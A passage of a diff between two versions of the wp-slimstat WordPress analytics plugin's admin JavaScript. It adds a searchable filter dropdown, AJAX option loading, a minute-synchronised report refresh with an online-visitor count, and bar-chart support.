this.isOpen = false;\n+            this.filteredOptions = [];\n+            this.allOptions = [];\n+\n+            this.init();\n+        }\n+\n+        init() {\n+            this.createWrapper();\n+            this.bindEvents();\n+        }\n+\n+        createWrapper() {\n+            \u002F\u002F Create wrapper structure\n+            this.wrapper = document.createElement(\"div\");\n+            this.wrapper.className = \"slimstat-searchable-select\";\n+\n+            this.selectWrapper = document.createElement(\"div\");\n+            this.selectWrapper.className = \"slimstat-select-wrapper\";\n+\n+            this.display = document.createElement(\"div\");\n+            this.display.className = \"slimstat-select-display slimstat-placeholder\";\n+            \u002F\u002F Create elements safely to prevent XSS\n+            const textSpan = document.createElement(\"span\");\n+            textSpan.className = \"slimstat-select-text\";\n+            textSpan.textContent = this.options.placeholder;\n+\n+            const arrowSpan = document.createElement('span');\n+            arrowSpan.className = 'slimstat-select-arrow';\n+            arrowSpan.innerHTML = '\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"16\" height=\"16\" viewBox=\"0 0 16 16\">\u003Cpolyline points=\"4 6 8 10 12 6\">\u003C\u002Fpolyline>\u003C\u002Fsvg>';\n+\n+            this.display.appendChild(textSpan);\n+            this.display.appendChild(arrowSpan);\n+\n+            this.dropdown = document.createElement(\"div\");\n+            this.dropdown.className = \"slimstat-select-dropdown\";\n+            this.dropdown.style.display = \"none\";\n+\n+            this.searchContainer = document.createElement(\"div\");\n+            this.searchContainer.className = \"slimstat-select-search\";\n+            \u002F\u002F Create search input safely to prevent XSS\n+            const searchInput = document.createElement(\"input\");\n+            searchInput.type = \"text\";\n+            searchInput.placeholder = this.options.searchPlaceholder;\n+            this.searchContainer.appendChild(searchInput);\n+\n+            this.optionsContainer = document.createElement(\"div\");\n+            this.optionsContainer.className = \"slimstat-select-options\";\n+\n+            this.dropdown.appendChild(this.searchContainer);\n+            this.dropdown.appendChild(this.optionsContainer);\n+\n+            this.selectWrapper.appendChild(this.display);\n+            this.selectWrapper.appendChild(this.dropdown);\n+            this.wrapper.appendChild(this.selectWrapper);\n+\n+            \u002F\u002F Ensure the original input has the name attribute before hiding\n+            if (!this.element.hasAttribute(\"name\")) {\n+                this.element.setAttribute(\"name\", \"v\");\n+            }\n+\n+            \u002F\u002F Insert wrapper before original element\n+            this.element.parentNode.insertBefore(this.wrapper, this.element);\n+\n+            \u002F\u002F Move the original element inside the wrapper to keep it in the form\n+            \u002F\u002F but keep it hidden and maintain it as part of the form submission\n+            this.wrapper.appendChild(this.element);\n+            this.element.style.display = \"none\";\n+        }\n+\n+        bindEvents() {\n+            \u002F\u002F Display click to toggle dropdown\n+            this.display.addEventListener(\"click\", (e) => {\n+                e.stopPropagation();\n+                this.toggle();\n+            });\n+\n+            \u002F\u002F Search input\n+            const searchInput = this.searchContainer.querySelector(\"input\");\n+            searchInput.addEventListener(\"input\", (e) => {\n+                this.filterOptions(e.target.value);\n+            });\n+\n+            searchInput.addEventListener(\"keydown\", (e) => {\n+                if (e.key === \"Escape\") {\n+                    this.close();\n+                }\n+            });\n+\n+            \u002F\u002F Click outside to close\n+            document.addEventListener(\"click\", (e) => {\n+                if (!this.wrapper.contains(e.target)) {\n+                    this.close();\n+                }\n+            });\n+\n+            \u002F\u002F Prevent dropdown from closing when clicking inside\n+            this.dropdown.addEventListener(\"click\", (e) => {\n+                e.stopPropagation();\n+            });\n+        }\n+\n+        setOptions(options) {\n+            \u002F\u002F Normalize options to always be objects with value, label, and icon\n+            this.allOptions = options.map((opt) => {\n+                if (typeof opt === \"string\") {\n+                    return { value: opt, label: opt, icon: null };\n+                }\n+                return {\n+                    value: opt.value || opt,\n+                    label: opt.label || opt.value || opt,\n+                    icon: opt.icon || null,\n+                };\n+            });\n+            this.filteredOptions = [...this.allOptions];\n+            this.renderOptions();\n+        }\n+\n+        setLoading(loading = true) {\n+            if (loading) {\n+                \u002F\u002F Create loading element safely to prevent XSS\n+                this.optionsContainer.innerHTML = \"\";\n+                const loadingDiv = document.createElement(\"div\");\n+                loadingDiv.className = \"slimstat-select-loading\";\n+                loadingDiv.textContent = this.options.loadingText;\n+                this.optionsContainer.appendChild(loadingDiv);\n+            }\n+        }\n+\n+        filterOptions(searchTerm) {\n+            const term = searchTerm.toLowerCase().trim();\n+\n+            if (!term) {\n+                this.filteredOptions = [...this.allOptions];\n+            } else {\n+                this.filteredOptions = this.allOptions.filter((option) => option.label.toLowerCase().includes(term) || option.value.toLowerCase().includes(term));\n+            }\n+\n+            this.renderOptions();\n+        }\n+\n+        renderOptions() {\n+            this.optionsContainer.innerHTML = \"\";\n+\n+            if (this.filteredOptions.length === 0) {\n+                \u002F\u002F Create no results element safely to prevent XSS\n+                const noResultsDiv = document.createElement(\"div\");\n+                noResultsDiv.className = \"slimstat-select-no-results\";\n+                noResultsDiv.textContent = this.options.noResultsText;\n+                this.optionsContainer.appendChild(noResultsDiv);\n+                return;\n+            }\n+\n+            this.filteredOptions.forEach((option) => {\n+                const optionElement = document.createElement(\"button\");\n+                optionElement.type = \"button\";\n+                optionElement.className = \"slimstat-select-option\";\n+                if (option.value === this.selectedValue) {\n+                    optionElement.classList.add(\"slimstat-selected\");\n+                }\n+\n+                \u002F\u002F Add icon if available\n+                if (option.icon) {\n+                    const iconElement = document.createElement(\"img\");\n+                    iconElement.className = \"slimstat-option-icon\";\n+                    iconElement.src = option.icon;\n+                    iconElement.alt = \"\";\n+                    iconElement.width = 20;\n+                    iconElement.height = 20;\n+                    optionElement.appendChild(iconElement);\n+                }\n+\n+                \u002F\u002F Add label text\n+                const labelElement = document.createElement(\"span\");\n+                labelElement.className = \"slimstat-option-label\";\n+                labelElement.textContent = option.label;\n+                optionElement.appendChild(labelElement);\n+\n+                optionElement.addEventListener(\"click\", () => {\n+                    this.selectOption(option);\n+                });\n+                this.optionsContainer.appendChild(optionElement);\n+            });\n+        }\n+\n+        selectOption(option) {\n+            this.selectedValue = option.value;\n+            this.selectedText = option.label;\n+            this.selectedOption = option;\n+\n+            \u002F\u002F Update display\n+            const textElement = this.display.querySelector(\".slimstat-select-text\");\n+            textElement.innerHTML = \"\"; \u002F\u002F Clear existing content\n+\n+            \u002F\u002F Add icon if available\n+            if (option.icon) {\n+                const iconElement = document.createElement(\"img\");\n+                iconElement.className = \"slimstat-option-icon\";\n+                iconElement.src = option.icon;\n+                iconElement.alt = \"\";\n+                iconElement.width = 16;\n+                iconElement.height = 16;\n+                iconElement.style.marginRight = \"6px\";\n+                textElement.appendChild(iconElement);\n+            }\n+\n+            \u002F\u002F Add label text\n+            const labelSpan = document.createElement(\"span\");\n+            labelSpan.textContent = option.label;\n+            textElement.appendChild(labelSpan);\n+\n+            this.display.classList.remove(\"slimstat-placeholder\");\n+\n+            \u002F\u002F Update hidden input with the value\n+            this.element.value = option.value;\n+\n+            \u002F\u002F Ensure the name attribute is set\n+            if (!this.element.hasAttribute(\"name\")) {\n+                this.element.setAttribute(\"name\", \"v\");\n+            }\n+\n+            \u002F\u002F Trigger change event on original element\n+            const changeEvent = new Event(\"change\", { bubbles: true });\n+            this.element.dispatchEvent(changeEvent);\n+\n+            this.close();\n+        }\n+\n+        clear() {\n+            this.selectedValue = \"\";\n+            this.selectedText = \"\";\n+            this.selectedOption = null;\n+\n+            \u002F\u002F Reset display\n+            const textElement = this.display.querySelector(\".slimstat-select-text\");\n+            textElement.innerHTML = \"\"; \u002F\u002F Clear any icons\n+            textElement.textContent = this.options.placeholder;\n+            this.display.classList.add(\"slimstat-placeholder\");\n+\n+            \u002F\u002F Clear hidden input\n+            this.element.value = \"\";\n+\n+            \u002F\u002F Trigger change event\n+            const changeEvent = new Event(\"change\", { bubbles: true });\n+            this.element.dispatchEvent(changeEvent);\n+        }\n+\n+        getValue() {\n+            return this.selectedValue;\n+        }\n+\n+        setValue(value) {\n+            const option = this.allOptions.find((opt) => opt.value === value);\n+            if (option) {\n+                this.selectOption(option);\n+            }\n+        }\n+\n+        toggle() {\n+            if (this.isOpen) {\n+                this.close();\n+            } else {\n+                this.open();\n+            }\n+        }\n+\n+        open() {\n+            if (this.isOpen) return;\n+\n+            this.isOpen = true;\n+            this.selectWrapper.classList.add(\"slimstat-select-open\");\n+            this.dropdown.style.display = \"block\";\n+\n+            \u002F\u002F Focus search input\n+            const searchInput = this.searchContainer.querySelector(\"input\");\n+            searchInput.focus();\n+            searchInput.select();\n+\n+            \u002F\u002F Reset filter\n+            this.filterOptions(\"\");\n+        }\n+\n+        close() {\n+            if (!this.isOpen) return;\n+\n+            this.isOpen = false;\n+            this.selectWrapper.classList.remove(\"slimstat-select-open\");\n+            this.dropdown.style.display = \"none\";\n+\n+            \u002F\u002F Clear search\n+            const searchInput = this.searchContainer.querySelector(\"input\");\n+            searchInput.value = \"\";\n+        }\n+\n+        destroy() {\n+            \u002F\u002F Close dropdown if open\n+            if (this.isOpen) {\n+                this.close();\n+            }\n+\n+            \u002F\u002F Safely remove wrapper and restore original element\n+            if (this.wrapper && this.element) {\n+                \u002F\u002F Move element back to its original position before wrapper\n+                if (this.wrapper.parentNode) {\n+                    this.wrapper.parentNode.insertBefore(this.element, this.wrapper);\n+                }\n+\n+                \u002F\u002F Show original element\n+                this.element.style.display = \"\";\n+\n+                \u002F\u002F Clear value\n+                this.element.value = \"\";\n+\n+                \u002F\u002F Remove wrapper\n+                if (this.wrapper.parentNode) {\n+                    this.wrapper.parentNode.removeChild(this.wrapper);\n+                }\n+            }\n+        }\n+    }\n+\n+    \u002F\u002F Initialize searchable select instance\n+    let searchableSelectInstance = null;\n+\n+    \u002F**\n+     * Helper function to get current time range for AJAX requests\n+     * Returns object with type, from, and to parameters\n+     *\u002F\n+    function getTimeRangeForAjax() {\n+        var urlParams = new URLSearchParams(window.location.search);\n+        var timeRange = {\n+            type: 'last_28_days', \u002F\u002F default\n+            from: '',\n+            to: ''\n+        };\n+\n+        \u002F\u002F First, check URL parameters\n+        if (urlParams.has('type')) {\n+            var typeParam = urlParams.get('type');\n+            if (typeParam === 'custom' && urlParams.has('from') && urlParams.has('to')) {\n+                timeRange.type = 'custom';\n+                timeRange.from = urlParams.get('from');\n+                timeRange.to = urlParams.get('to');\n+            } else if (typeParam !== 'custom') {\n+                timeRange.type = typeParam;\n+            }\n+        }\n+        \u002F\u002F If no URL params, check sessionStorage\n+        else {\n+            var savedRange = sessionStorage.getItem('slimstat_date_range');\n+            if (savedRange) {\n+                try {\n+                    var parsed = JSON.parse(savedRange);\n+                    if (parsed.preset) {\n+                        timeRange.type = parsed.preset;\n+                    }\n+                    \u002F\u002F For custom ranges from sessionStorage\n+                    if (parsed.preset === 'custom' && parsed.startDate && parsed.endDate) {\n+                        timeRange.from = moment(parsed.startDate).format('YYYY-MM-DD');\n+                        timeRange.to = moment(parsed.endDate).format('YYYY-MM-DD');\n+                    }\n+                } catch (e) {\n+                    \u002F\u002F If parsing fails, use default\n+                    console.warn('SlimStat: Could not parse saved date range for filter options', e);\n+                }\n+            }\n+        }\n+\n+        return timeRange;\n+    }\n+\n+    \u002F\u002F Handle dimension change to load filter options dynamically\n+    jQuery(\"#slimstat-filter-name\").on(\"change\", function () {\n+        var dimension = jQuery(this).val();\n+\n+        \u002F\u002F Destroy existing searchable select FIRST before doing anything\n+        if (searchableSelectInstance) {\n+            searchableSelectInstance.destroy();\n+            searchableSelectInstance = null;\n+        }\n+\n+        \u002F\u002F Get fresh reference to the input element after destroy\n+        var $textInput = jQuery(\"#slimstat-filter-value\");\n+\n+        if (!dimension) {\n+            return;\n+        }\n+\n+        \u002F\u002F Show loading state\n+        $textInput.attr(\"placeholder\", __(\"Loading options...\", \"wp-slimstat\")).attr(\"name\", \"v\");\n+\n+        \u002F\u002F Get the current time range from URL parameters or sessionStorage\n+        var timeRangeData = getTimeRangeForAjax();\n+\n+        \u002F\u002F Fetch options via AJAX\n+        jQuery.ajax({\n+            method: \"POST\",\n+            url: ajaxurl,\n+            data: {\n+                action: \"slimstat_get_filter_options\",\n+                dimension: dimension,\n+                security: jQuery(\"#meta-box-order-nonce\").val(),\n+                time_range_type: timeRangeData.type,\n+                time_range_from: timeRangeData.from,\n+                time_range_to: timeRangeData.to,\n+            },\n+            dataType: \"json\",\n+            timeout: 30000, \u002F\u002F 30 second timeout to prevent hanging requests\n+        })\n+            .done(function (response) {\n+                if (response.success) {\n+                    \u002F\u002F Verify the element still exists\n+                    if (!$textInput.length || !$textInput[0]) {\n+                        return;\n+                    }\n+\n+                    try {\n+                        \u002F\u002F Determine the appropriate \"no results\" message\n+                        var noResultsText = __('No matching options found', 'wp-slimstat');\n+\n+                        \u002F\u002F Check if we have no data due to time range filter\n+                        if (response.data && response.data.length === 0) {\n+                            noResultsText = __('No data in this time range', 'wp-slimstat');\n+                        }\n+\n+                        \u002F\u002F Initialize searchable select (even if no options)\n+                        searchableSelectInstance = new SlimStatSearchableSelect($textInput[0], {\n+                            placeholder: __('Select value...', 'wp-slimstat'),\n+                            searchPlaceholder: __('Search options...', 'wp-slimstat'),\n+                            noResultsText: noResultsText,\n+                            loadingText: __('Loading options...', 'wp-slimstat')\n+                        });\n+\n+                        \u002F\u002F Set the options from the AJAX response (empty array if no data)\n+                        searchableSelectInstance.setOptions(response.data || []);\n+\n+                        $textInput.attr(\"name\", \"v\");\n+                    } catch (error) {\n+                        \u002F\u002F Fall back to regular text input if searchable select fails\n+                        console.error('SlimStat: Failed to initialize searchable select', error);\n+                        $textInput.attr(\"placeholder\", __('Enter value...', 'wp-slimstat')).attr(\"name\", \"v\");\n+                    }\n+                } else {\n+                    \u002F\u002F On error response, fall back to text input\n+                    $textInput.attr(\"placeholder\", __('Enter value...', 'wp-slimstat')).attr(\"name\", \"v\");\n+                }\n+            })\n+            .fail(function (jqXHR, textStatus, errorThrown) {\n+                \u002F\u002F On error, fall back to text input\n+                $textInput.attr(\"placeholder\", __(\"Enter value...\", \"wp-slimstat\")).attr(\"name\", \"v\");\n+            });\n+    });\n+\n     \u002F\u002F Make input field read-only if certain operators are selected\n     jQuery(\"#slimstat-filter-operator\").on(\"change\", function () {\n-        if (this.value == \"is_empty\" || this.value == \"is_not_empty\") {\n-            jQuery(\"#slimstat-filter-value\").attr(\"readonly\", \"readonly\");\n+        var operator = this.value;\n+        var $textInput = jQuery(\"#slimstat-filter-value\");\n+\n+        if (operator == \"is_empty\" || operator == \"is_not_empty\") {\n+            $textInput.attr(\"readonly\", \"readonly\");\n+\n+            \u002F\u002F Disable searchable select if it exists\n+            if (searchableSelectInstance) {\n+                searchableSelectInstance.selectWrapper.style.pointerEvents = \"none\";\n+                searchableSelectInstance.selectWrapper.style.opacity = \"0.5\";\n+            }\n         } else {\n-            jQuery(\"#slimstat-filter-value\").removeAttr(\"readonly\");\n+            $textInput.removeAttr(\"readonly\");\n+\n+            \u002F\u002F Enable searchable select if it exists\n+            if (searchableSelectInstance) {\n+                searchableSelectInstance.selectWrapper.style.pointerEvents = \"auto\";\n+                searchableSelectInstance.selectWrapper.style.opacity = \"1\";\n+            }\n         }\n     });\n \n@@ -364,6 +1150,38 @@\n     \u002F\u002F ----- BEGIN: CUSTOMIZER -------------------------------------------------------\n     \u002F\u002F\n \n+    \u002F\u002F Initialize sortable for customizer layout\n+    if (jQuery(\".meta-box-sortables\").length) {\n+        jQuery(\".meta-box-sortables\").sortable({\n+            connectWith: \".meta-box-sortables\",\n+            items: \".postbox\",\n+            placeholder: \"sortable-placeholder\",\n+            handle: \".hndle\",\n+            cursor: \"move\",\n+            delay: 150,\n+            distance: 5,\n+            tolerance: \"pointer\",\n+            forcePlaceholderSize: true,\n+            helper: \"clone\",\n+            opacity: 0.65,\n+            stop: function (event, ui) {\n+                \u002F\u002F Save the new order\n+                var data = {\n+                    action: \"meta-box-order\",\n+                    _ajax_nonce: jQuery(\"#meta-box-order-nonce\").val(),\n+                    page: SlimStatAdminParams.page_location + \"_page_slimlayout\",\n+                    page_columns: 0,\n+                };\n+\n+                jQuery(\".meta-box-sortables\").each(function () {\n+                    data[\"order[\" + this.id.split(\"-\")[0] + \"]\"] = jQuery(this).sortable(\"toArray\").join(\",\");\n+                });\n+\n+                jQuery.post(ajaxurl, data);\n+            },\n+        });\n+    }\n+\n     \u002F\u002F Clone and delete report placeholders\n     jQuery(\".slimstat-layout .slimstat-header-buttons a\").on(\"click\", function (e) {\n         e.preventDefault();\n@@ -397,6 +1215,53 @@\n     \u002F\u002F ----- BEGIN: MISCELLANEOUS ----------------------------------------------------\n     \u002F\u002F\n \n+\n+\n+    function slimstatOpenHelp(fallbackUrl) {\n+        var helpToggle = document.getElementById(\"contextual-help-link\");\n+        if (helpToggle) {\n+            var wasExpanded = helpToggle.getAttribute(\"aria-expanded\") === \"true\";\n+            helpToggle.click();\n+\n+            if (!wasExpanded) {\n+                window.setTimeout(function () {\n+                    var helpPanel = document.getElementById(\"contextual-help-wrap\");\n+                    if (helpPanel) {\n+                        if (!helpPanel.hasAttribute(\"tabindex\")) {\n+                            helpPanel.setAttribute(\"tabindex\", \"-1\");\n+                        }\n+                        try {\n+                            helpPanel.focus({ preventScroll: true });\n+                        } catch (err) {\n+                            helpPanel.focus();\n+                        }\n+                    }\n+                }, 50);\n+            }\n+\n+            return true;\n+        }\n+\n+        if (fallbackUrl) {\n+            window.open(fallbackUrl, \"_blank\", \"noopener\");\n+        }\n+\n+        return false;\n+    }\n+\n+    jQuery(document).on(\"click\", \"[data-slimstat-help-trigger]\", function (e) {\n+        e.preventDefault();\n+        slimstatOpenHelp(jQuery(this).data(\"slimstatHelpFallback\"));\n+    });\n+\n+    jQuery(document).on(\"keydown\", \"[data-slimstat-help-trigger]\", function (e) {\n+        var element = this;\n+        slimstatHandleA11yActivation(e, function () {\n+            slimstatOpenHelp(jQuery(element).data(\"slimstatHelpFallback\"));\n+        });\n+    });\n+\n+\n     \u002F\u002F Hide a notice and send the corresponding ajax request to the server\n     jQuery(document).on(\"click\", \"[id^=slimstat-notice-] button\", function (e) {\n         data = {\n@@ -594,31 +1459,96 @@\n     },\n \n     access_log_count_down: function () {\n-        var slimstat_refresh_timer = 0;\n+        var lastTriggerMinute = -1;\n+\n+        function slimstat_sync_and_countdown() {\n+            var now = new Date();\n+            var currentSeconds = now.getSeconds();\n+            var currentMinute = now.getMinutes();\n+\n+            \u002F\u002F Trigger pulse at exactly :00 of a new minute\n+            if (currentSeconds === 0 && lastTriggerMinute !== currentMinute) {\n+                lastTriggerMinute = currentMinute;\n+                window.dispatchEvent(new CustomEvent(\"slimstat:minute_pulse\"));\n+            }\n \n-        function slimstat_refresh_countdown() {\n-            slimstat_refresh_timer--;\n-            minutes = parseInt(slimstat_refresh_timer \u002F 60);\n-            seconds = parseInt(slimstat_refresh_timer % 60);\n+            var remaining = (60 - currentSeconds) % 60;\n+            var minutes = Math.floor(remaining \u002F 60);\n+            var seconds = remaining % 60;\n \n             jQuery(\".refresh-timer\").html(minutes + \":\" + (seconds \u003C 10 ? \"0\" : \"\") + seconds);\n+        }\n \n-            if (slimstat_refresh_timer == 0) {\n-                \u002F\u002F Request the data from the server\n-                refresh = SlimStatAdmin.refresh_report(\"slim_p7_02\");\n+        \u002F\u002F Sync refresh with the global pulse\n+        window.addEventListener(\"slimstat:minute_pulse\", function () {\n+            if (jQuery(\".pagination .refresh-timer\").length > 0) {\n+                var refresh = SlimStatAdmin.refresh_report(\"slim_p7_02\");\n                 refresh();\n+            }\n+        });\n \n-                \u002F\u002F Reset the countdown timer\n-                slimstat_refresh_timer = parseInt(SlimStatAdminParams.refresh_interval);\n+        \u002F\u002F Update online visitors count on pulse\n+        window.addEventListener(\"slimstat:minute_pulse\", function () {\n+            var onlineVisitorsElement = document.getElementById(\"slimstat-online-visitors-count\");\n+            var adminbarHeaderElement = document.getElementById(\"slimstat-adminbar-online-header\");\n+            var adminbarCountElement = document.getElementById(\"slimstat-adminbar-online-count\");\n+\n+            \u002F\u002F Check if any element exists that needs updating\n+            var hasElements = onlineVisitorsElement || adminbarHeaderElement || adminbarCountElement;\n+            var securityNonce = jQuery(\"#meta-box-order-nonce\").val();\n+\n+            if (hasElements && securityNonce) {\n+                jQuery.ajax({\n+                    url: ajaxurl,\n+                    type: \"POST\",\n+                    data: {\n+                        action: \"slimstat_get_online_visitors\",\n+                        security: securityNonce\n+                    },\n+                    success: function (response) {\n+                        if (response.success && response.data && response.data.formatted) {\n+                            var newValue = response.data.count;\n+                            var formattedValue = response.data.formatted;\n+\n+                            \u002F\u002F Helper function to animate value change\n+                            var animateElement = function(element) {\n+                                if (!element) return;\n+\n+                                var currentValue = element.textContent.replace(\u002F,\u002Fg, \"\");\n+                                if (parseInt(currentValue, 10) !== newValue) {\n+                                    element.style.transition = \"transform 0.1s ease-out\";\n+                                    element.style.transform = \"scale(1.05)\";\n+\n+                                    setTimeout(function () {\n+                                        element.textContent = formattedValue;\n+                                        element.style.transform = \"scale(1)\";\n+                                    }, 100);\n+                                }\n+                            };\n+\n+                            \u002F\u002F Update all elements\n+                            animateElement(onlineVisitorsElement);\n+                            animateElement(adminbarHeaderElement);\n+                            animateElement(adminbarCountElement);\n+                        }\n+                    },\n+                    error: function (xhr, status, error) {\n+                        console.error(\"Failed to update online visitors:\", error);\n+                    }\n+                });\n             }\n-        }\n+        });\n \n         var observer = new MutationObserver(function (mutationsList) {\n             mutationsList.forEach(function (mutation) {\n                 mutation.addedNodes.forEach(function (node) {\n                     if (node.nodeType === 1 && node.classList.contains(\"refresh-timer\")) {\n-                        slimstat_refresh_timer = parseInt(SlimStatAdminParams.refresh_interval);\n-                        SlimStatAdmin.refresh_handle = window.setInterval(slimstat_refresh_countdown, 1000);\n+                        if (SlimStatAdmin.refresh_handle != null) {\n+                            window.clearInterval(SlimStatAdmin.refresh_handle);\n+                        }\n+                        \u002F\u002F Check every 200ms to ensure we catch the :00 second exactly\n+                        SlimStatAdmin.refresh_handle = window.setInterval(slimstat_sync_and_countdown, 200);\n+                        slimstat_sync_and_countdown();\n                     }\n                 });\n             });\n@@ -631,8 +1561,11 @@\n         });\n \n         if (jQuery(\".pagination .refresh-timer\").length > 0 && typeof SlimStatAdminParams.refresh_interval != \"undefined\") {\n-            slimstat_refresh_timer = parseInt(SlimStatAdminParams.refresh_interval);\n-            SlimStatAdmin.refresh_handle = window.setInterval(slimstat_refresh_countdown, 1000);\n+            if (SlimStatAdmin.refresh_handle != null) {\n+                window.clearInterval(SlimStatAdmin.refresh_handle);\n+            }\n+            SlimStatAdmin.refresh_handle = window.setInterval(slimstat_sync_and_countdown, 200);\n+            slimstat_sync_and_countdown();\n         }\n     },\n     get_query_string_filters: function (url) {\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fjs: daterangepicker\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fjs: live-analytics.js\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fjs: migration.js\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fjs: notifications.js\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fjs\u002Fslimstat-chart.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fjs\u002Fslimstat-chart.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fjs\u002Fslimstat-chart.js\t2025-09-09 12:32:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fjs\u002Fslimstat-chart.js\t2026-03-08 13:29:08.000000000 +0000\n@@ -29,17 +29,18 @@\n         var args = JSON.parse(element.getAttribute(\"data-args\"));\n         var data = JSON.parse(element.getAttribute(\"data-data\"));\n         var prevData = JSON.parse(element.getAttribute(\"data-prev-data\"));\n-        var daysBetween = parseInt(element.getAttribute(\"data-days-between\"));\n+        var daysBetween = parseInt(element.getAttribute(\"data-days-between\"), 10);\n         var chartLabels = JSON.parse(element.getAttribute(\"data-chart-labels\"));\n         var translations = JSON.parse(element.getAttribute(\"data-translations\"));\n         var totals = JSON.parse(element.getAttribute(\"data-totals\") || \"{}\");\n+        var chartType = element.getAttribute(\"data-chart-type\") || \"line\";\n \n         var labels = data.labels;\n         var prevLabels = data.prev_labels;\n \n         \u002F\u002F Fix: Check for null\u002Fundefined datasets before using them\n-        var datasets = prepareDatasets(data.datasets, chartLabels, labels, data.today);\n-        var prevDatasets = prepareDatasets(prevData.datasets, chartLabels, prevData.labels, null, true);\n+        var datasets = prepareDatasets(data.datasets, chartLabels, labels, data.today, false, chartType);\n+        var prevDatasets = prepareDatasets(prevData.datasets, chartLabels, prevData.labels, null, true, chartType);\n         prevDatasets = prevDatasets.filter(function (ds) {\n             return (\n                 Array.isArray(ds.data) &&\n@@ -57,7 +58,7 @@\n             chartCanvas.style.minHeight = \"180px\";\n         }\n         var ctx = chartCanvas.getContext(\"2d\");\n-        var chart = createChart(ctx, labels, prevLabels, datasets, prevDatasets, totals, args.granularity, data.today, translations, daysBetween, chartId);\n+        var chart = createChart(ctx, labels, prevLabels, datasets, prevDatasets, totals, args.granularity, data.today, translations, daysBetween, chartId, chartType);\n         charts[chartId] = chart;\n         renderCustomLegend(chart, chartId, datasets, prevDatasets, totals, translations);\n     }\n@@ -117,15 +118,16 @@\n                     var translations2 = result.data.translations;\n \n                     var labels = data2.labels;\n-                    var datasets = prepareDatasets(data2.datasets, chart_labels2, labels, data2.today);\n-                    var prevDatasets = prepareDatasets(prev_data2.datasets, chart_labels2, prev_data2.labels, null, true);\n+                    var chartType2 = element.dataset.chartType || \"line\";\n+                    var datasets = prepareDatasets(data2.datasets, chart_labels2, labels, data2.today, false, chartType2);\n+                    var prevDatasets = prepareDatasets(prev_data2.datasets, chart_labels2, prev_data2.labels, null, true, chartType2);\n \n                     \u002F\u002F Destroy previous chart and create a new one to ensure correct tick callback\n                     var chartCanvas = document.getElementById(\"slimstat_chart_\" + chartId);\n                     var prevChart = charts[chartId];\n                     if (prevChart) prevChart.destroy();\n                     var ctx = chartCanvas.getContext(\"2d\");\n-                    var chart = createChart(ctx, labels, data2.prev_labels, datasets, prevDatasets, totals2, granularity, data2.today, translations2, days_between2, chartId);\n+                    var chart = createChart(ctx, labels, data2.prev_labels, datasets, prevDatasets, totals2, granularity, data2.today, translations2, days_between2, chartId, chartType2);\n                     charts[chartId] = chart;\n \n                     renderCustomLegend(chart, chartId, datasets, prevDatasets, totals2, translations2);\n@@ -148,10 +150,13 @@\n         xhr.send(params);\n     }\n \n-    function prepareDatasets(rawDatasets, chartLabels, labels, today, isPrevious) {\n+    function prepareDatasets(rawDatasets, chartLabels, labels, today, isPrevious, chartType) {\n         if (typeof isPrevious === \"undefined\") {\n             isPrevious = false;\n         }\n+        if (typeof chartType === \"undefined\") {\n+            chartType = \"line\";\n+        }\n         if (rawDatasets === undefined || rawDatasets === null) {\n             return [];\n         }\n@@ -191,23 +196,28 @@\n \n             (function (iCopy, labelTextCopy, valuesCopy, keyCopy) {\n                 var color = colors[iCopy % colors.length];\n-                result.push({\n+                var dataset = {\n                     label: isPrevious ? \"Previous \" + labelTextCopy : labelTextCopy,\n                     key: keyCopy,\n                     data: valuesCopy,\n                     borderColor: color,\n+                    backgroundColor: chartType === \"bar\" ? color + \"40\" : \"transparent\",\n                     borderWidth: isPrevious ? 1 : 2,\n-                    fill: false,\n-                    tension: 0.3,\n+                    fill: chartType === \"bar\" ? true : false,\n+                    tension: chartType === \"line\" ? 0.3 : 0,\n                     pointBorderColor: \"transparent\",\n                     pointBackgroundColor: color,\n                     pointBorderWidth: 2,\n-                    pointRadius: 0,\n+                    pointRadius: chartType === \"bar\" ? 0 : 0,\n                     pointHoverRadius: 4,\n                     pointHoverBorderWidth: 2,\n                     hitRadius: 10,\n                     pointHitRadius: 10,\n-                    segment: {\n+                };\n+\n+                \u002F\u002F Add segment configuration only for line charts\n+                if (chartType === \"line\") {\n+                    dataset.segment = {\n                         borderDash: (function (isPrev) {\n                             return function (ctx) {\n                                 if (isPrev) {\n@@ -216,15 +226,54 @@\n                                 return labels[ctx.p1DataIndex] === \"'\" + today + \"'\" ? [5, 3] : [];\n                             };\n                         })(isPrevious),\n-                    },\n-                });\n+                    };\n+                }\n+\n+                \u002F\u002F Add bar-specific properties\n+                if (chartType === \"bar\") {\n+                    dataset.borderRadius = 6;\n+                    dataset.borderSkipped = false;\n+                    dataset.categoryPercentage = 0.8;\n+                    dataset.barPercentage = 0.9;\n+\n+                    \u002F\u002F Add peak highlighting for bar charts\n+                    dataset.backgroundColor = function (context) {\n+                        var value = context.parsed.y;\n+                        var maxValue = Math.max.apply(Math, context.dataset.data);\n+                        if (value === maxValue && value > 0) {\n+                            return color + \"CC\";\n+                        }\n+                        return color + \"40\";\n+                    };\n+                }\n+\n+                result.push(dataset);\n             })(i, labelText, values, key);\n             i++;\n         }\n         return result;\n     }\n \n-    function createChart(ctx, labels, prevLabels, datasets, prevDatasets, total, unitTime, today, translations, daysBetween, 